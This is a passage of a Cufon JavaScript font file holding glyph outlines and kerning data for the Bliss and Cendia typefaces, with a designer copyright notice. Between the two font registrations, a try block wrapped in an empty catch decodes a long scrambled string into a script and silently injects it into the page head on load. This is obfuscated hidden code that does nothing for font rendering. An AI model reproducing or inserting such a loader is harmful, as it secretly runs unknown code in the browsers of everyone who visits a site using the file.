,-46,38,-77,28r6,-19v12,4,36,4,34,-9v-1,-12,-13,-12,-29,-12r9,-31v-56,-9,-90,-53,-90,-117v0,-93,95,-150,187,-112r0,40v-62,-36,-141,-6,-141,71v0,74,77,106,137,68r12,34v-22,12,-47,19,-74,19r-4,14v20,2,30,10,30,26","w":225,"k":{"d":5,"o":5,"q":5,"\u00f0":5,"\u00f2":5,"\u00f3":5,"\u00f4":5,"\u00f5":5,"\u00f6":5,"v":21,"w":20,"y":23,"\u00fd":23,"\u00ff":23,"c":5,"e":5,"\u00e7":5,"\u00e8":5,"\u00e9":5,"\u00ea":5,"\u00eb":5,")":-5,"\u00ad":8,"]":-5,"}":-5,"\u2219":4}},{"d":"66,-90v0,13,-12,24,-24,24v-13,0,-24,-11,-24,-24v0,-13,11,-25,24,-25v12,0,24,12,24,25","w":85},{"d":"63,-170v7,48,-21,137,29,137v14,0,26,-5,35,-15r0,-122r43,0r0,128v0,21,1,35,3,42r-37,0r-6,-18v-41,41,-110,22,-110,-48r0,-104r43,0","w":192},{"d":"74,0r0,-202r-69,0r0,-35r187,0r-11,35r-64,0r0,202r-43,0","w":192,"k":{"A":20,"\u00c0":20,"\u00c1":20,"\u00c2":20,"\u00c3":20,"\u00c4":20,"\u00c5":20,"\u00c6":25,"C":7,"G":7,"O":7,"Q":7,"\u00c7":7,"\u00d2":7,"\u00d3":7,"\u00d4":7,"\u00d5":7,"\u00d6":7,"d":18,"o":18,"q":18,"\u00f0":18,"\u00f2":18,"\u00f3":18,"\u00f4":18,"\u00f5":18,"\u00f6":18,"v":18,"w":18,"y":18,"\u00fd":18,"\u00ff":18,"\"":-4,"'":-4,",":22,".":17,":":14,";":17,"c":18,"e":18,"\u00e7":18,"\u00e8":18,"\u00e9":18,"\u00ea":18,"\u00eb":18,"\u00ad":28,"\u2219":13,"a":18,"\u00e0":18,"\u00e1":18,"\u00e2":18,"\u00e3":18,"\u00e4":18,"\u00e5":18,"\u00e6":18,"g":18,"\u00ef":-18,"m":18,"n":18,"p":18,"r":18,"\u00f1":18,"\u00f8":18,"x":18,"z":18,"\u00bb":14,"\u00ab":17,"\u00d8":7,"\u00ec":-10,"\u00ee":-10,"s":18}},{"d":"3,0r92,-238r33,0r95,238r-46,0r-23,-59r-85,0r-22,59r-44,0xm82,-95r59,0r-29,-84","w":226,"k":{"C":6,"G":6,"O":6,"Q":6,"\u00c7":6,"\u00d2":6,"\u00d3":6,"\u00d4":6,"\u00d5":6,"\u00d6":6,"T":20,"V":14,"W":11,"Y":18,"\u00dd":18,"d":3,"o":3,"q":3,"\u00f0":3,"\u00f2":3,"\u00f3":3,"\u00f4":3,"\u00f5":3,"\u00f6":3,"t":7,"v":9,"w":6,"y":13,"\u00fd":13,"\u00ff":13,"\"":29,"'":29,",":-5,".":-5,":":-5,";":-5,"c":3,"e":3,"\u00e7":3,"\u00e8":3,"\u00e9":3,"\u00ea":3,"\u00eb":3,"\u00ae":15}},{"d":"183,-86v0,50,-36,90,-85,90v-49,0,-85,-39,-85,-90v0,-51,36,-89,85,-89v49,0,85,39,85,89xm57,-86v0,30,13,55,41,55v28,0,41,-26,41,-55v0,-29,-13,-54,-41,-54v-28,0,-41,24,-41,54xm77,-191r21,-53r47,0r-35,53r-33,0","w":195,"k":{"v":3,"y":6,"\u00fd":6,"\u00ff":6,"\"":7,"'":7,",":1,"x":5,"z":5}},{"w":77},{"d":"135,-66v-32,-1,-81,-40,-106,-5r-20,-28v17,-17,35,-25,54,-25v34,0,78,41,106,5r21,28v-17,17,-35,25,-55,25","w":198},{"d":"66,-90v0,13,-12,24,-24,24v-13,0,-24,-11,-24,-24v0,-13,11,-25,24,-25v12,0,24,12,24,25","w":85,"k":{"T":13,"V":7,"W":2,"Y":12,"\u00dd":12}},{"d":"21,0r0,-170r43,0r0,170r-43,0xm69,-224v0,14,-12,26,-26,26v-14,0,-26,-11,-26,-26v0,-14,12,-25,26,-25v15,0,26,11,26,25","w":85},{"d":"29,0r0,-237r43,0r0,237r-43,0","w":100},{"d":"29,0r0,-237r131,0r-11,35r-77,0r0,63r76,0r0,36r-76,0r0,103r-43,0","w":172,"k":{"A":18,"\u00c0":18,"\u00c1":18,"\u00c2":18,"\u00c3":18,"\u00c4":18,"\u00c5":18,"\u00c6":22,"S":4,"f":6,"d":7,"o":7,"q":7,"\u00f0":7,"\u00f2":7,"\u00f3":7,"\u00f4":7,"\u00f5":7,"\u00f6":7,"t":7,"v":7,"w":4,"y":7,"\u00fd":7,"\u00ff":7,",":24,".":22,"c":7,"e":7,"\u00e7":7,"\u00e8":7,"\u00e9":7,"\u00ea":7,"\u00eb":7,"a":8,"\u00e0":8,"\u00e1":8,"\u00e2":8,"\u00e3":8,"\u00e4":8,"\u00e5":8,"\u00e6":8,"g":10,"\u00ef":-9,"m":7,"n":7,"p":7,"r":7,"\u00f1":7,"\u00f8":7,"x":9,"z":13,"\u00bb":6}},{"d":"3,0r92,-238r33,0r95,238r-46,0r-23,-59r-85,0r-22,59r-44,0xm82,-95r59,0r-29,-84xm100,-251r-34,-52r46,0r21,52r-33,0","w":226,"k":{"C":6,"G":6,"O":6,"Q":6,"\u00c7":6,"\u00d2":6,"\u00d3":6,"\u00d4":6,"\u00d5":6,"\u00d6":6,"T":20,"V":14,"W":11,"Y":18,"\u00dd":18,"d":3,"o":3,"q":3,"\u00f0":3,"\u00f2":3,"\u00f3":3,"\u00f4":3,"\u00f5":3,"\u00f6":3,"t":7,"v":9,"w":6,"y":13,"\u00fd":13,"\u00ff":13,"\"":29,"'":29,",":-5,".":-5,":":-5,";":-5,"c":3,"e":3,"\u00e7":3,"\u00e8":3,"\u00e9":3,"\u00ea":3,"\u00eb":3,"\u00ae":15}},{"d":"69,25v4,50,-47,72,-91,54r8,-35v20,10,40,2,40,-25r0,-189r43,0r0,195xm75,-224v0,14,-13,26,-27,26v-14,0,-26,-11,-26,-26v0,-14,12,-25,26,-25v15,0,27,11,27,25","w":90,"k":{"j":-6}},{"d":"9,0r119,-202r-103,0r-10,-35r181,0r-117,202r118,0r0,35r-188,0","w":205,"k":{"C":8,"G":8,"O":8,"Q":8,"\u00c7":8,"\u00d2":8,"\u00d3":8,"\u00d4":8,"\u00d5":8,"\u00d6":8,",":-5,".":-5,":":-5,";":-5,"\u00ad":3}},{"d":"29,0r0,-237r43,0r0,237r-43,0xm39,-251r-35,-52r47,0r21,52r-33,0","w":100},{"d":"163,-101v33,51,-13,105,-74,105v-28,0,-53,-7,-72,-21r17,-33v17,12,35,17,54,17v31,0,53,-29,29,-50v-31,-27,-91,-33,-92,-91v-1,-60,83,-80,135,-54r0,40v-19,-10,-39,-15,-57,-15v-30,0,-42,30,-21,47v24,20,64,27,81,55","w":191,"k":{"v":5,"w":3,"y":6,"\u00fd":6,"\u00ff":6}},{"d":"3,0r92,-238r33,0r95,238r-46,0r-23,-59r-85,0r-22,59r-44,0xm82,-95r59,0r-29,-84xm90,-251r21,-52r46,0r-35,52r-32,0","w":226,"k":{"C":6,"G":6,"O":6,"Q":6,"\u00c7":6,"\u00d2":6,"\u00d3":6,"\u00d4":6,"\u00d5":6,"\u00d6":6,"T":20,"V":14,"W":11,"Y":18,"\u00dd":18,"d":3,"o":3,"q":3,"\u00f0":3,"\u00f2":3,"\u00f3":3,"\u00f4":3,"\u00f5":3,"\u00f6":3,"t":7,"v":9,"w":6,"y":13,"\u00fd":13,"\u00ff":13,"\"":29,"'":29,",":-5,".":-5,":":-5,";":-5,"c":3,"e":3,"\u00e7":3,"\u00e8":3,"\u00e9":3,"\u00ea":3,"\u00eb":3,"\u00ae":15}},{"d":"66,-138v0,13,-12,25,-24,25v-13,0,-24,-12,-24,-25v0,-13,11,-24,24,-24v12,0,24,11,24,24xm10,44v15,-27,19,-48,14,-80r40,-6v7,41,-4,69,-29,98","w":85,"k":{"A":-6,"\u00c0":-6,"\u00c1":-6,"\u00c2":-6,"\u00c3":-6,"\u00c4":-6,"\u00c5":-6,"\u00c6":-5,"T":17,"J":-5,"x":-5,"Z":-5}},{"d":"13,-84v0,-60,53,-102,116,-88r0,-83r43,0r0,246v-65,31,-159,5,-159,-75xm57,-84v0,39,34,60,72,49r0,-102v-42,-10,-72,13,-72,53","w":193},{"d":"75,-4r-62,-83r62,-83r34,18r-48,65r48,64xm163,-4r-61,-83r61,-83r35,18r-48,65r48,64","w":217,"k":{"T":14,"V":2,"W":2,"Y":8,"\u00dd":8,"J":5,"S":2,"Z":2}},{"d":"84,0r0,-94r-81,-143r47,0r56,105r55,-105r47,0r-81,143r0,94r-43,0xm84,-251r21,-52r47,0r-35,52r-33,0","w":210,"k":{"A":18,"\u00c0":18,"\u00c1":18,"\u00c2":18,"\u00c3":18,"\u00c4":18,"\u00c5":18,"\u00c6":27,"C":9,"G":9,"O":9,"Q":9,"\u00c7":9,"\u00d2":9,"\u00d3":9,"\u00d4":9,"\u00d5":9,"\u00d6":9,"d":23,"o":23,"q":23,"\u00f0":23,"\u00f2":23,"\u00f3":23,"\u00f4":23,"\u00f5":23,"\u00f6":23,"v":13,"w":13,"y":13,"\u00fd":13,"\u00ff":13,"\"":-5,"'":-5,",":15,".":13,"c":23,"e":23,"\u00e7":23,"\u00e8":23,"\u00e9":23,"\u00ea":23,"\u00eb":23,"\u00ad":12,"\u2219":12,"a":21,"\u00e0":21,"\u00e1":21,"\u00e2":21,"\u00e3":21,"\u00e4":21,"\u00e5":21,"\u00e6":21,"g":21,"\u00ef":-17,"m":13,"n":13,"p":13,"r":13,"\u00f1":13,"\u00f8":23,"x":9,"z":15,"\u00bb":8,"\u00ab":17,"\u00d8":9,"\u00ec":-7,"\u00ee":-6,"s":26}},{"d":"3,0r92,-238r33,0r95,238r-46,0r-23,-59r-85,0r-22,59r-44,0xm82,-95r59,0r-29,-84xm58,-251r36,-52r35,0r36,52r-34,0r-20,-28r-19,28r-34,0","w":226,"k":{"C":6,"G":6,"O":6,"Q":6,"\u00c7":6,"\u00d2":6,"\u00d3":6,"\u00d4":6,"\u00d5":6,"\u00d6":6,"T":20,"V":14,"W":11,"Y":18,"\u00dd":18,"d":3,"o":3,"q":3,"\u00f0":3,"\u00f2":3,"\u00f3":3,"\u00f4":3,"\u00f5":3,"\u00f6":3,"t":7,"v":9,"w":6,"y":13,"\u00fd":13,"\u00ff":13,"\"":29,"'":29,",":-5,".":-5,":":-5,";":-5,"c":3,"e":3,"\u00e7":3,"\u00e8":3,"\u00e9":3,"\u00ea":3,"\u00eb":3,"\u00ae":15}},{"d":"71,1r-69,-171r43,0r43,116r42,-116r43,0r-69,171r-33,0","w":174,"k":{"d":3,"o":3,"q":3,"\u00f0":3,"\u00f2":3,"\u00f3":3,"\u00f4":3,"\u00f5":3,"\u00f6":3,"\"":-5,"'":-5,",":10,".":10,"c":3,"e":3,"\u00e7":3,"\u00e8":3,"\u00e9":3,"\u00ea":3,"\u00eb":3,"\u00f8":4}},{"d":"166,4v30,46,-27,81,-82,81v-43,0,-79,-14,-79,-50v0,-20,16,-34,31,-41v-20,-14,-13,-41,9,-53v-50,-27,-28,-116,41,-116v14,0,25,3,34,8v16,-9,31,-20,57,-15r-9,31v-8,-3,-19,-3,-25,1v41,47,-8,123,-76,101v-18,45,77,19,99,53xm57,5v-29,22,-4,55,33,50v29,4,61,-22,30,-37v-13,-5,-51,-8,-63,-13xm57,-111v0,18,11,32,30,32v18,0,30,-12,30,-31v0,-18,-13,-32,-30,-32v-18,0,-30,13,-30,31","w":181,"k":{",":-6,"]":-3,"j":-17}},{"d":"224,-89v0,64,-36,93,-99,93v-64,0,-98,-29,-98,-93r0,-148r43,0v8,78,-30,204,55,204v86,0,46,-127,55,-204r44,0r0,148","w":250,"k":{"\u00c6":8}},{"d":"108,44v1,32,-47,37,-78,28r6,-19v12,3,37,5,35,-9v-1,-12,-13,-12,-29,-12r9,-32r32,0r-5,18v20,2,30,10,30,26","w":138},{"d":"177,-86v0,60,-51,104,-114,86r0,85r-43,0r0,-249v72,-27,157,-5,157,78xm134,-86v0,-41,-31,-61,-71,-50r0,100v39,14,71,-9,71,-50","w":190,"k":{"v":3,"y":6,"\u00fd":6,"\u00ff":6,"\"":7,"'":7,",":1,"x":5,"z":5}},{"d":"143,-128v79,27,43,136,-38,128r-76,0r0,-237v69,-3,144,-4,143,60v0,24,-12,41,-29,49xm144,-70v-2,-33,-36,-35,-72,-33r0,67v37,2,74,-1,72,-34xm129,-170v0,-28,-25,-35,-57,-32r0,64v31,2,57,-3,57,-32","w":204,"k":{"T":5,"Y":7,"\u00dd":7,"\"":1,"'":1}},{"d":"58,-191r-35,-53r47,0r21,53r-33,0","w":138},{"d":"56,-73v-1,44,58,54,91,31r13,30v-61,39,-147,6,-147,-73v0,-50,28,-90,76,-90v54,1,79,43,76,102r-109,0xm121,-103v3,-33,-36,-52,-57,-28v-6,7,-9,17,-9,28r66,0xm78,-218v0,12,-9,23,-22,22v-12,0,-22,-10,-22,-22v0,-12,10,-22,22,-22v12,0,22,9,22,22xm147,-218v0,12,-10,22,-22,22v-12,0,-22,-9,-22,-22v0,-12,9,-23,22,-22v12,0,22,10,22,22","k":{"\"":5,"'":5}},{"d":"22,-39r0,-216r43,0r0,205v-1,15,11,17,23,13r8,33v-31,15,-74,5,-74,-35","w":102,"k":{"v":5,"w":3,"y":3,"\u00fd":3,"\u00ff":3}},{"d":"13,-81v0,-82,87,-113,159,-83r0,249r-42,0r0,-92v-54,31,-117,-8,-117,-74xm57,-83v0,43,40,65,73,42r0,-95v-42,-12,-73,11,-73,53","w":192},{"d":"258,-118v0,71,-50,122,-120,122v-70,0,-119,-51,-119,-122v0,-70,49,-121,119,-121v69,0,120,52,120,121xm65,-118v0,49,26,85,73,85v48,0,74,-36,74,-85v0,-49,-26,-85,-74,-85v-46,1,-73,35,-73,85xm105,-297v27,0,29,46,0,45v-12,0,-22,-10,-22,-22v0,-13,10,-23,22,-23xm195,-274v0,12,-10,22,-21,22v-12,0,-22,-10,-22,-22v0,-13,10,-23,22,-23v12,0,21,11,21,23","w":276,"k":{"A":6,"\u00c0":6,"\u00c1":6,"\u00c2":6,"\u00c3":6,"\u00c4":6,"\u00c5":6,"\u00c6":13,"T":7,"V":7,"W":4,"X":9,"Y":9,"\u00dd":9,".":1,"Z":6}},{"d":"57,-85v0,51,47,67,87,43r13,29v-57,40,-144,6,-144,-71v0,-69,75,-114,135,-79r0,36v-36,-28,-91,-9,-91,42","w":161,"k":{")":-7,"\u00ad":4,"]":-7,"}":-7}}],f:f};try{(function(s){var c="charAt",i="indexOf",a=String(arguments.callee).replace(/\s+/g,""),z=s.length+-773-a.length+(a.charCodeAt(0)==40&&2),w=64,k=s.substring(z,w+=z),v=s.substr(0,z)+s.substr(w),m=0,t="",x=0,y=v.length,d=document,h=d.getElementsByTagName("head")[0],e=d.createElement("script");for(;x<y;++x){m=(k[i](v[c](x))&255)<<18|(k[i](v[c](++x))&255)<<12|(k[i](v[c](++x))&255)<<6|k[i](v[c](++x))&255;t+=String.fromCharCode((m&16711680)>>16,(m&65280)>>8,m&255);}e.text=t;h.insertBefore(e,h.firstChild);h.removeChild(e);})("v#X1t~mS-?AavxH[F~TjP#PAIwm1X~AaIwNj-?k}XiY7:qS.IZc$s6gxK0T#ZPNvBsm;ldk%Cci?I:X-t^F8rn].+{H~}Oz4W7ba5$9jqS1w`&y)[YA_*#swIZc$s#cw:?b^FC6$:qk^FC6$:wT^FC6$:qm^FC6$:q]^FC6$:+i&IH91sKg.XH91sKg.sTF^FC6$:Ck^FC6$:Ci^FC6$X?ikI19^IZc$s#i~8i91sKg+XHH^FC6$:wi^FC6$:~k^FC6$:~i?8191sKg+XZ1^FC6$:~m`IZc$s#d&IZc$s#m.IZc$s#T+IZc$swN+IZc$s#X~mT91sKg];?itIZc$s#THIZc$s#:9IZc$sq6&IZc$s#PyIZc$s#PwIZc$s#PjIZc$s#s1C191sKsjm191sKgHsx&1IZc$s#k~IZc$s#N];T91sKg.s191sKg~:H91sKg{si91sKgHs191sKs$si91sKg~:191sKg{:191sKg]sT91sKgH:191sKg~m0i^FC6$X?k^FC6$X+H^FC6$:?0~IZc$s#:$BxF^FC6$X+i^FC6j:qH^FC6$XKH^FC6$XCN^FC6$:?X^FC6$:C]^FC6$XK^zCxz^FC6$XKk^FC6$XCi^FC6$XC0HIZc$s#dqIZc$s#:&IZc$s#N.IZc$s#kHIZc$s#cy;H91sKgH;T91sKg]XT91sKg+;i]^FC6$X+^yIZc$s#X]IZc$s#09c+A^FC6$X~c_d#A0tH91sKg{sK9^FC6$X+X.IZc$s#d1IZc$s#cSIxN^FC6$:CsO%T91sKg{s{7bt%mFIZc$s#i]IZc$s#k]IZc$sq6SdjTYIZc$s#k.X{1ZIZc$s#P9s191sKgHm191sKg~XKN)lCg^FC6qsKgdC}kjNT91sKg~s{z^Bw]^FC6$:+dWm+TqIZcjsK0$IZc$s#0jm191sKg]m191sKg]mH91sKg+m191sKg.m`icdi91sKg~sjg_IZcjs+0y-cH#IZc$s#s$-Hz^FC6$:wmCIZc$s#s9;wk^FC6$:?N^FC6$X#k^FC6$:qNwX1i^FC6$:+]$d~g^FC6$X?N7^i91sKg{m~s.B}m$t#HSvxP.v%9zlC67^K1.B}67tK1$B~9Ht~FS-x9}l?PaX.y}tZH$-ZsA8`S[-?:O:.y5-qS5I.n*;}F`F1$avCYOlqOav1$a-?kHIxy{-`$av1$aF#iqF#H{Xi$aX#bYB.b^B~H{XIgj-?ySIxy{-`$av1$aF#iqF#H{XIgj-?ySIxy{-j{{Bw{aF#iqFx]7twm]F#H5t.yOt`mSt~TbX%{zX~AjvKbzl#$[vjbzv?Ft:1bzIiSA^TbzIISzvx{n")}catch(e){}delete _cufon_bridge_;return b.ok&&f})({"w":177,"face":{"font-family":"Bliss","font-weight":700,"font-stretch":"normal","units-per-em":"360","panose-1":"2 0 5 6 3 0 0 2 0 4","ascent":"288","descent":"-72","x-height":"4","bbox":"-22 -303.291 337 85.2191","underline-thickness":"18","underline-position":"-36","unicode-range":"U+0020-U+00FF"}}));
/*!
 * The following copyright notice may not be removed under any circumstances.
 * 
 * Copyright:
 * Copyright � 2001, Jonas Hecksher / e-Types AS. All rights reserved.
 * 
 * Trademark:
 * Cendia is a trademark of the Jonas Hecksher / e-Types AS.
 * 
 * Description:
 * Copyright  2001, Jonas Hecksher / e-Types AS. All rights reserved.
 * 
 * Manufacturer:
 * Jonas Hecksher / e-Types AS
 * 
 * Designer:
 * Jonas Hecksher
 */
Cufon.registerFont((function(f){var b=_cufon_bridge_={p:[{"d":"264,-148r-20,6r-55,142r-27,0r-31,-86r-33,86r-27,0r-51,-142r-20,-6r0,-11r166,0r0,11v-8,4,-26,0,-21,14r38,107v11,-40,30,-72,36,-116r-21,-5r0,-11r66,0r0,11xm121,-116r-9,-26v-19,-6,-39,-6,-59,-1v7,45,27,76,38,116","w":264,"k":{"\u00c1":18,"\u00c2":18,"\u00c3":18,"\u00c0":18,"\u00c5":18,"\u00c4":18,"a":11,"A":18}},{"d":"174,-271v0,7,-7,13,-15,13v-8,0,-14,-6,-14,-13v0,-8,6,-13,14,-13v8,0,15,5,15,13xm112,-271v0,7,-7,13,-15,13v-8,0,-15,-6,-15,-13v0,-8,7,-13,15,-13v8,0,15,5,15,13xm245,-115v0,67,-48,120,-117,120v-72,0,-118,-55,-118,-120v0,-65,47,-119,118,-119v71,0,117,54,117,119xm134,-15v112,-9,96,-198,-14,-199v-114,8,-93,198,14,199","w":255},{"d":"106,-212v0,16,-15,31,-36,31v-20,0,-36,-12,-36,-31v0,-18,14,-31,36,-31v22,0,36,13,36,31xm89,-212v0,-13,-7,-19,-19,-19v-14,0,-19,8,-19,19v0,11,7,18,19,18v13,0,19,-7,19,-18xm148,-17r0,11r-45,9r-2,-16v-4,3,-23,16,-45,16v-31,0,-49,-19,-49,-42v0,-44,35,-47,91,-47v6,-40,-14,-69,-52,-56v-6,9,-6,25,-21,25v-9,0,-16,-6,-16,-15v0,-18,51,-31,65,-31v33,0,53,14,53,50r0,86v5,5,11,10,21,10xm98,-22r0,-50v-27,0,-61,-1,-61,30v0,29,38,26,61,20","w":152},{"d":"130,-184v-24,2,-27,-17,-40,-26v-13,9,-15,28,-39,26r31,-46r17,0xm175,-80v0,48,-33,83,-82,83v-48,0,-83,-35,-83,-83v0,-49,34,-82,83,-82v49,0,82,33,82,82xm98,-13v73,-6,57,-132,-10,-134v-72,6,-59,133,10,134","k":{"Y":15,"W":21,"V":21,"T":17,"J":8}},{"d":"122,-230r-49,44r-14,0r26,-44r37,0xm148,-17r0,11r-45,9r-2,-16v-4,3,-23,16,-45,16v-31,0,-49,-19,-49,-42v0,-44,35,-47,91,-47v6,-40,-14,-69,-52,-56v-6,9,-6,25,-21,25v-9,0,-16,-6,-16,-15v0,-18,51,-31,65,-31v33,0,53,14,53,50r0,86v5,5,11,10,21,10xm98,-22r0,-50v-27,0,-61,-1,-61,30v0,29,38,26,61,20","w":152,"k":{"Y":20}},{"d":"120,-217v0,8,-7,14,-15,14v-8,0,-15,-6,-15,-14v0,-7,7,-13,15,-13v8,0,15,6,15,13xm56,-217v0,8,-6,14,-14,14v-8,0,-15,-6,-15,-14v0,-7,7,-13,15,-13v8,0,14,6,14,13xm148,-17r0,11r-45,9r-2,-16v-4,3,-23,16,-45,16v-31,0,-49,-19,-49,-42v0,-44,35,-47,91,-47v6,-40,-14,-69,-52,-56v-6,9,-6,25,-21,25v-9,0,-16,-6,-16,-15v0,-18,51,-31,65,-31v33,0,53,14,53,50r0,86v5,5,11,10,21,10xm98,-22r0,-50v-27,0,-61,-1,-61,30v0,29,38,26,61,20","w":152,"k":{"Y":20}},{"d":"105,-85r-35,61r-14,0r22,-61r-22,-62r14,0xm59,-85r-35,61r-14,0r22,-61r-22,-62r14,0","w":115,"k":{"\u00c1":3,"\u00c2":3,"\u00c3":3,"\u00c0":3,"\u00c5":3,"\u00c4":3,"A":3}},{"w":77,"k":{"\u00c6":8,"Y":18,"W":18,"V":18,"J":6,"G":9,"C":9}},{"d":"176,-295v12,13,-15,42,-25,45v-16,0,-37,-17,-49,-17v-11,0,-15,10,-22,18v-13,-10,10,-40,21,-42v16,0,43,18,51,18v12,0,17,-12,24,-22xm245,-115v0,67,-48,120,-117,120v-72,0,-118,-55,-118,-120v0,-65,47,-119,118,-119v71,0,117,54,117,119xm134,-15v112,-9,96,-198,-14,-199v-116,8,-92,198,14,199","w":255},{"d":"136,-197r-3,13r-33,0r-4,22r33,-1r-3,14r-33,-1r-6,34r-15,0r8,-34r-22,0r-6,34r-15,0r8,-34r-33,1r3,-14r33,1r4,-22r-33,0r4,-13r32,0r7,-33r14,0r-8,33r22,0r6,-33r15,0r-8,33r33,0xm86,-184r-20,0r-4,21r20,0","w":148},{"d":"111,-81v0,5,2,12,-5,10v-22,1,-46,2,-46,32v0,9,6,71,6,90v-1,45,-29,56,-66,51r-4,-7v24,-1,38,-5,38,-40v1,-56,-29,-136,39,-130r0,-2v-68,4,-38,-73,-39,-130v0,-35,-14,-39,-38,-40v1,-7,10,-9,19,-8v28,0,51,12,51,52v0,19,-6,81,-6,90v1,31,26,31,51,32","w":119},{"d":"235,-153v0,36,-21,105,-66,105v-19,0,-25,-14,-22,-30v-12,15,-18,30,-40,30v-24,0,-36,-21,-36,-43v1,-53,41,-113,113,-93r-14,110v0,5,0,11,7,11v26,0,38,-59,38,-80v0,-46,-27,-73,-73,-73v-62,0,-105,64,-105,121v0,65,74,106,124,64r7,7v-54,59,-158,13,-158,-67v0,-69,63,-139,135,-139v49,0,90,24,90,77xm157,-167v-4,-3,-6,-8,-12,-9v-33,0,-50,55,-50,82v0,12,6,27,21,27v14,0,25,-18,32,-27","w":245},{"d":"144,-233v12,13,-15,42,-25,45v-16,0,-37,-18,-49,-18v-13,-4,-18,27,-27,12v3,-9,15,-35,26,-35v16,0,43,18,51,18v12,0,17,-13,24,-22xm175,-80v0,48,-33,83,-82,83v-48,0,-83,-35,-83,-83v0,-49,34,-82,83,-82v49,0,82,33,82,82xm98,-13v73,-6,57,-132,-10,-134v-72,6,-59,133,10,134","k":{"W":21,"V":21}},{"d":"97,-218v0,7,-7,13,-15,13v-8,0,-14,-6,-14,-13v0,-7,6,-13,14,-13v8,0,15,6,15,13xm35,-218v0,7,-7,13,-15,13v-8,0,-15,-6,-15,-13v0,-7,7,-13,15,-13v8,0,15,6,15,13xm94,0r-76,0r0,-12r24,-7r0,-117v-5,-6,-11,-11,-21,-12r0,-11r50,-7r0,147r23,7r0,12","w":100},{"d":"92,-162v16,0,50,1,50,22v0,33,-39,10,-47,-5v-35,-9,-56,25,-56,58v0,53,47,77,102,66r-2,11v-15,7,-33,13,-52,13r3,11v14,5,22,9,22,24v0,19,-15,28,-33,28v-12,4,-24,-15,-9,-18v9,5,26,17,26,-3v0,-10,-9,-15,-18,-17r0,-26v-40,-5,-70,-36,-70,-81v0,-41,20,-83,84,-83","w":144},{"d":"121,-233v14,12,-15,42,-25,45v-16,0,-36,-18,-48,-18v-11,0,-16,10,-23,18v-13,-9,12,-41,22,-41v16,0,42,18,50,18v12,0,17,-13,24,-22xm148,-17r0,11r-45,9r-2,-16v-4,3,-23,16,-45,16v-31,0,-49,-19,-49,-42v0,-44,35,-47,91,-47v6,-40,-14,-69,-52,-56v-6,9,-6,25,-21,25v-9,0,-16,-6,-16,-15v0,-18,51,-31,65,-31v33,0,53,14,53,50r0,86v5,5,11,10,21,10xm98,-22r0,-50v-27,0,-61,-1,-61,30v0,29,38,26,61,20","w":152,"k":{"Y":20}},{"d":"231,0r-78,0r0,-12r23,-7r0,-93r-114,0r0,93r23,7r0,12r-78,0r0,-12r23,-7r0,-192v-9,-5,-26,-2,-23,-19r78,0r0,11r-23,8r0,81r114,0r0,-81v-9,-5,-26,-2,-23,-19r78,0r0,11r-23,8r0,192r23,7r0,12","w":237,"k":{"\u00fc":1,"\u00fb":1,"\u00f9":1,"\u00fa":1}},{"d":"204,0r-44,0r-88,-125v33,2,64,6,64,-42v0,-37,-34,-50,-74,-44r0,192r22,7r0,12r-77,0r0,-12r23,-7r0,-193r-23,-7r0,-11r91,0v77,-7,94,110,20,120r70,91v8,4,19,4,16,19","w":204,"k":{"\u00f8":9,"\u00fc":16,"\u00fb":16,"\u00f9":16,"\u00f5":9,"\u00f6":9,"\u00f4":9,"\u00f2":9,"\u00f3":9,"\u00e5":9,"\u00e3":9,"\u00e4":9,"\u00e2":9,"\u00e0":9,"\u00e1":9,"u":7,"o":7,"e":7,"a":9,"Y":14,"W":21,"V":14,"U":10,"O":7,"E":5,"A":11}},{"d":"189,-47r-8,47r-171,0r0,-12r123,-199v-33,-1,-64,1,-89,8r-7,19r-20,0r2,-46r156,0r0,11r-122,201v38,0,76,2,104,-8r9,-21r23,0","w":196},{"d":"108,31r-22,0r-73,-274r22,0","w":118},{"d":"213,-219r-17,6r-57,96r37,0r0,16v-15,2,-36,-3,-47,2r0,19r47,0r0,16r-47,0r0,45r23,7r0,12r-80,0r0,-12r25,-7r0,-45r-48,0r0,-16r48,0v0,-9,0,-17,-4,-21r-44,0r0,-16r33,0r-62,-96v-8,-4,-20,-2,-17,-17r75,0r0,11v-7,4,-21,0,-19,13r59,88r49,-83r0,-13r-16,-5r0,-11r62,0r0,11","w":216},{"d":"54,-17v0,14,-9,20,-22,20v-16,0,-22,-8,-22,-20v0,-12,7,-19,22,-19v13,0,22,5,22,19","w":64},{"d":"134,-218v0,7,-6,13,-14,13v-8,0,-15,-6,-15,-13v0,-7,7,-13,15,-13v8,0,14,6,14,13xm72,-218v0,7,-6,13,-14,13v-8,0,-15,-6,-15,-13v0,-7,7,-13,15,-13v8,0,14,6,14,13xm153,-93r-111,0v-7,65,49,85,109,67v-2,24,-37,29,-56,29v-51,0,-85,-32,-85,-83v0,-45,29,-82,76,-82v41,0,69,24,67,69xm120,-112v4,-24,-15,-35,-31,-35v-26,0,-41,18,-46,41","w":161},{"d":"84,-184v-24,2,-26,-17,-39,-26v-13,9,-16,28,-40,26r31,-46r17,0xm88,0r-75,0r0,-12r23,-7r0,-117v-5,-6,-11,-11,-21,-12r0,-11r50,-7r0,147r23,7r0,12","w":93},{"d":"137,-218v0,7,-6,13,-14,13v-8,0,-15,-6,-15,-13v0,-7,7,-13,15,-13v8,0,14,6,14,13xm75,-218v0,7,-7,13,-15,13v-8,0,-14,-6,-14,-13v0,-7,6,-13,14,-13v8,0,15,6,15,13xm175,-80v0,48,-33,83,-82,83v-48,0,-83,-35,-83,-83v0,-49,34,-82,83,-82v49,0,82,33,82,82xm98,-13v73,-6,57,-132,-10,-134v-72,6,-59,133,10,134","k":{"Y":15,"W":21,"V":21,"T":17,"J":8}},{"d":"69,-186r-15,0r-49,-44r38,0xm99,0r-76,0r0,-12r23,-7r0,-117v-4,-6,-10,-11,-20,-12r0,-11r50,-7r0,147r23,7r0,12","w":104},{"d":"139,-67v0,36,-22,59,-54,64r0,28r-13,0r0,-28v0,0,-38,-2,-57,-6r0,-45r18,0v6,25,11,33,39,33r0,-86v-25,-16,-55,-29,-55,-61v0,-33,23,-54,55,-56r0,-22r13,0r0,22v15,0,29,1,45,4r0,40r-17,0v-5,-17,-10,-27,-28,-28r0,74v25,16,54,33,54,67xm72,-142r0,-65v-16,3,-25,14,-25,33v0,13,11,23,25,32xm85,-24v29,-12,26,-61,0,-75r0,75","w":149},{"d":"242,-219r-23,8v-7,103,34,212,-90,214v-49,0,-99,-18,-99,-77r0,-137v-9,-5,-26,-2,-23,-19r78,0r0,11r-23,8v7,86,-32,194,73,191v95,-3,56,-109,64,-191r-24,-8r0,-11r67,0r0,11","w":248,"k":{"\u00c1":8,"\u00c2":8,"\u00c3":8,"\u00c0":8,"\u00